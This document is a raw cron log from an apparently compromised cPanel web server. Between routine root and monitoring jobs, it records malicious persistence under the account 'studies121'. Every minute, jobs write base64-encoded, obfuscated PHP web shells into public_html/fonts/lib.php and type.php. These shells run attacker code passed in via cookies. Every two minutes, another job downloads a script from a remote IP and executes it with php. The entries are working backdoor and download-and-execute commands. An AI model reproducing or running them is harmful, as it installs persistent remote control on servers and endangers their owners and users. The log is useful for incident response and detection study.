Sep  5 17:38:01 ip-184-168-122-23 CROND[26015]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 17:38:01 ip-184-168-122-23 CROND[26017]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:38:01 ip-184-168-122-23 CROND[26016]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 17:38:01 ip-184-168-122-23 CROND[26018]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:39:01 ip-184-168-122-23 CROND[26100]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:39:01 ip-184-168-122-23 CROND[26103]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:39:01 ip-184-168-122-23 CROND[26104]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  5 17:39:01 ip-184-168-122-23 CROND[26106]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 17:39:01 ip-184-168-122-23 CROND[26102]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 17:40:01 ip-184-168-122-23 CROND[26211]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 17:40:01 ip-184-168-122-23 CROND[26214]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 17:40:01 ip-184-168-122-23 CROND[26216]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:40:01 ip-184-168-122-23 CROND[26218]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 17:40:01 ip-184-168-122-23 CROND[26219]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 17:40:01 ip-184-168-122-23 CROND[26220]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 17:40:01 ip-184-168-122-23 CROND[26217]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:40:01 ip-184-168-122-23 CROND[26215]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 17:41:01 ip-184-168-122-23 CROND[26310]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:41:01 ip-184-168-122-23 CROND[26314]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:41:01 ip-184-168-122-23 CROND[26311]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 17:41:01 ip-184-168-122-23 CROND[26315]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 17:42:01 ip-184-168-122-23 CROND[26394]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 17:42:01 ip-184-168-122-23 CROND[26395]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 17:42:01 ip-184-168-122-23 CROND[26396]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 17:42:01 ip-184-168-122-23 CROND[26397]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:42:01 ip-184-168-122-23 CROND[26399]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:43:01 ip-184-168-122-23 CROND[26511]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:43:01 ip-184-168-122-23 CROND[26512]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 17:43:01 ip-184-168-122-23 CROND[26513]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 17:43:01 ip-184-168-122-23 CROND[26514]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:44:01 ip-184-168-122-23 CROND[26634]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:44:01 ip-184-168-122-23 CROND[26636]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 17:44:01 ip-184-168-122-23 CROND[26638]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 17:44:01 ip-184-168-122-23 CROND[26637]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 17:44:01 ip-184-168-122-23 CROND[26639]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:45:01 ip-184-168-122-23 CROND[26731]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 17:45:01 ip-184-168-122-23 CROND[26734]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:45:01 ip-184-168-122-23 CROND[26736]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:45:01 ip-184-168-122-23 CROND[26737]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 17:45:01 ip-184-168-122-23 CROND[26735]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 17:45:01 ip-184-168-122-23 CROND[26733]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 17:46:02 ip-184-168-122-23 CROND[26835]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 17:46:02 ip-184-168-122-23 CROND[26837]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:46:02 ip-184-168-122-23 CROND[26841]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:46:02 ip-184-168-122-23 CROND[26839]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 17:46:02 ip-184-168-122-23 CROND[26840]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  5 17:46:02 ip-184-168-122-23 CROND[26838]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 17:46:02 ip-184-168-122-23 CROND[26842]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 17:47:01 ip-184-168-122-23 CROND[26929]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 17:47:01 ip-184-168-122-23 CROND[26928]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:47:01 ip-184-168-122-23 CROND[26931]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:47:01 ip-184-168-122-23 CROND[26930]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 17:48:02 ip-184-168-122-23 CROND[27006]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:48:02 ip-184-168-122-23 CROND[27008]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:48:02 ip-184-168-122-23 CROND[27009]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 17:48:02 ip-184-168-122-23 CROND[27010]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 17:48:02 ip-184-168-122-23 CROND[27011]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 17:49:01 ip-184-168-122-23 CROND[27182]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:49:01 ip-184-168-122-23 CROND[27183]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 17:49:01 ip-184-168-122-23 CROND[27185]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 17:49:01 ip-184-168-122-23 CROND[27184]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:50:01 ip-184-168-122-23 CROND[27272]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
